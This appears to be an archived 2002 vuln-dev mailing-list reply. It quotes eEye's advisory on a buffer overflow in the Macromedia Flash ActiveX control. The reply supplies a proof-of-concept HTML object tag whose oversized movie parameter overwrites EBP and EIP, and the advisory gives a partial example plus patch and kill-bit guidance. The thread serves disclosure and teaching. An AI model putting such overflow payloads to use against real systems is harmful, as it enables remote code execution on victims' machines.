

# Re: Macromedia Flash Activex Buffer overflow

*Source:* <http://www.derkeiler.com/Mailing-Lists/securityfocus/vuln-dev/2002-05/0119.html>

*From:* Enrique A. Compañ Gzz. ([enrique@virtekweb.net](mailto:enrique@virtekweb.net))  
*Date:* 05/02/02

From: Enrique A. Compañ Gzz. <[enrique@virtekweb.net](mailto:enrique@virtekweb.net)>  
To: <[vuln-dev@securityfocus.com](mailto:vuln-dev@securityfocus.com)>  
Date: Thu, 2 May 2002 21:00:07 +0200

Just because I like flash...

Here's the real deal:

```
<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000">
<PARAM NAME=movie
```

```
VALUE="http://AAA.AAAAAAAAAAAAAAAAAA.AAA/AAAAAAAAA.swf?AAAAAAAAAAAAAAAAAAAAAAAAA/
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB">
</OBJECT>
```

## SecurityFocus Vuln-Dev: Re: Macromedia Flash Activex Buffer overflow

Where "BBBB" is the real EIP and the previous 4 A's are the EBP.

I did some debugging. Found "<http://AAA.AAA.....>" in memory in my sys (w2k latest sp) at address 0012b70h.

This is an easy example, to those learning how BOFs & exploit coding work.

Enrique A. Compañ Gzz.

-----  
Virtek Networks  
virtekweb.net

----- Original Message -----

From: "Marc Maiffret" <[marc@eeye.com](mailto:marc@eeye.com)>  
To: "Vuln-Dev" <[vuln-dev@securityfocus.com](mailto:vuln-dev@securityfocus.com)>  
Sent: Friday, May 03, 2002 2:17 AM  
Subject: Macromedia Flash Activex Buffer overflow

> *Macromedia Flash Activex Buffer overflow*  
>  
> *Release Date:*  
> *05/02/2002*  
>  
> *Severity:*  
> *High (Remote code execution)*  
>  
> *Systems Affected:*  
> *Flash Activex Ocx Version 6, revision 23*  
> *(Possibly older versions)*  
>  
> *Forward:*  
> *This is an unusual advisory in a number of ways.*  
>  
> *One, it was found while investigating an access error encountered during*  
> *normal web surfing, which was suspicious. Within a few hours we had*  
> *confirmed on multiple Operating Systems that this was an exploitable*  
> *condition that overwrote EIP.*  
>  
> *Two, while we tested on these systems with the latest install from the*  
> *vendor's site, when we contacted the vendor they informed us that they had*  
> *just released a new build this same day which already fixed the problem.*  
> *They asked us to confirm this. We tried the link they gave us and it did*  
> *indeed fix the problem and was a new build. Testing the link later that*  
> *night confirmed the link we used to install the ocx now had the fixed,*  
> *latest version.*  
>  
> *In this, we congratulate Macromedia for: finding the bug, fixing it, and*  
> *releasing the build in a timely fashion. This truly shows that they are*  
> *dedicated to security just as they have stated they are.*  
>

Re: Macromedia Flash Activex Buffer overflow

## SecurityFocus Vuln-Dev: Re: Macromedia Flash Activex Buffer overflow

- > *However, because there is a signed flash ocx out there which has been*
- > *downloaded by an untold number of people, and potentially could still be*
- > *used in an exploit scenario against those without the latest ocx we felt*
- the
- > *need to release this advisory.*
- >
- > *Furthermore, this issue was found in the wild, and it is not safe to*
- assume
- > *it could not be found by others with malicious intent. Nor do we believe*
- it
- > *is safe to assume this has not been found by users with malicious intent.*
- >
- > *There are further issues with old activex objects which have such*
- > *vulnerabilities which will be discussed in the description section.*
- >
- > *Description:*
- >
- > *A vulnerability in the parameter handling to the Flash OCX, which could*
- lead
- > *to the execution of attacker supplied code via email, web or any other*
- > *avenue in which Internet Explorer is used to display html that an attacker*
- > *can supply. This includes software which uses the web browser activex.*
- >
- > *All users of Internet Explorer are potentially affected because this is a*
- > *Macromedia signed ocx. We advise them to upgrade their flash version*
- > *immediately to version 6, revision 29.*
- >
- > *Example:*
- >
- > `<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000">`
- > `<PARAM NAME=movie`
- > `VALUE="http://www.notthere8979873.com/notthere.swf?AAA[...unstated, but`
- > `fixed number]XXXXXXXX">`
- > `</OBJECT>`
- >
- > *Where X overwrites the EIP consistently across Windows platforms.*
- >
- > *Technical Description:*
- >
- > *Flash.ocx is an activex object installed with Internet Explorer, and is*
- used
- > *to display flash objects on the web.*
- >
- > *Proper bounds checking is not in place in the "movie" parameter which*
- > *overwrites EIP at an unsaid, but fixed number of bytes across Windows*
- > *platforms.*
- >
- > *Because the ocx is signed by Macromedia: there is a chance the older*
- activex
- > *could be used against people without flash; people whom have an older*
- > *version of flash not affected may be forced to "upgrade" to the affected*

## SecurityFocus Vuln-Dev: Re: Macromedia Flash Activex Buffer overflow

- > *version; and, of course, those with the affected versions need to upgrade*
- > *lest the exploit works out of the box on them.*
- >
- > *There has been considerable debate about legacy activex objects which have*
- > *exploits within them. In general, if someone uses the codebase parameter*
- to
- > *point to an affected version of the activex, the system will first try and*
- > *grab the activex from Microsoft's activex store on the web. Then, it will*
- > *try the activex specified in the codebase tag by the malicious user.*
- >
- > *We do not believe this method is full proof.*
- >
- > *We do not believe the method is full proof because of the potential of the*
- > *activex storehouse check failing and because of the potentiality for the*
- > *activex to be called by other methods. (At least a few potential other*
- > *methods are in the RFC for applets and objects).*
- >
- > *However, the other option of setting the "kill bit" for the affected*
- activex
- > *and reassigning the fixed activex version with a new classid is only a*
- > *suggestion we will make in this case. We do not believe it is necessarily*
- > *mandatory.*
- >
- > *Risk should be mitigated to a satisfactory level by users upgrading to the*
- > *new ocx.*
- >
- > *Vendor Status:*
- > *Visit Macromedia's site to get the latest Flash ocx to eliminate these*
- > *issues.*
- >
- [http://www.macromedia.com/shockwave/download/index.cgi?P1\\_Prod\\_Version=Shock](http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=Shock)
- > *waveFlash*
- >
- > *Credit: Drew Copley*
- >
- > *Greetings: Fat code: presented by Yahoo and Weight Watchers. KROQ, and*
- corn
- > *dog manufacturers world wide.*
- >
- > *Copyright (c) 1998-2002 eEye Digital Security*
- > *Permission is hereby granted for the redistribution of this alert*
- > *electronically. It is not to be edited in any way without express consent*
- of
- > *eEye. If you wish to reprint the whole or any part of this alert in any*
- > *other medium excluding electronic medium, please e-mail [alert@eEye.com](mailto:alert@eEye.com) for*
- > *permission.*
- >
- > *Disclaimer*
- > *The information within this paper may change without notice. Use of this*
- > *information constitutes acceptance for use in an AS IS condition. There*
- are

SecurityFocus Vuln-Dev: Re: Macromedia Flash Activex Buffer overflow

- > *NO warranties with regard to this information. In no event shall the author*
  - > *be liable for any damages whatsoever arising out of or in connection with*
  - > *the use or spread of this information. Any use of this information is at the*
  - > *user's own risk.*
  - >
  - > *Feedback*
  - > *Please send suggestions, updates, and comments to:*
  - >
  - > *eEye Digital Security*
  - > *<http://www.eEye.com>*
  - > *[info@eEye.com](mailto:info@eEye.com)*
  - >
  - >
- 

- ***Previous message:*** Stephen J. Friedl: "BACKSTEALTH reverse engineered"
- ***In reply to:*** Marc Maiffret: "Macromedia Flash Activex Buffer overflow"
- ***Next in thread:*** MegaHz: "Re: Macromedia Flash Activex Buffer overflow"
- ***Reply:*** MegaHz: "Re: Macromedia Flash Activex Buffer overflow"
- ***Messages sorted by:*** [ date ] [ thread ] [ subject ] [ author ] [ attachment ]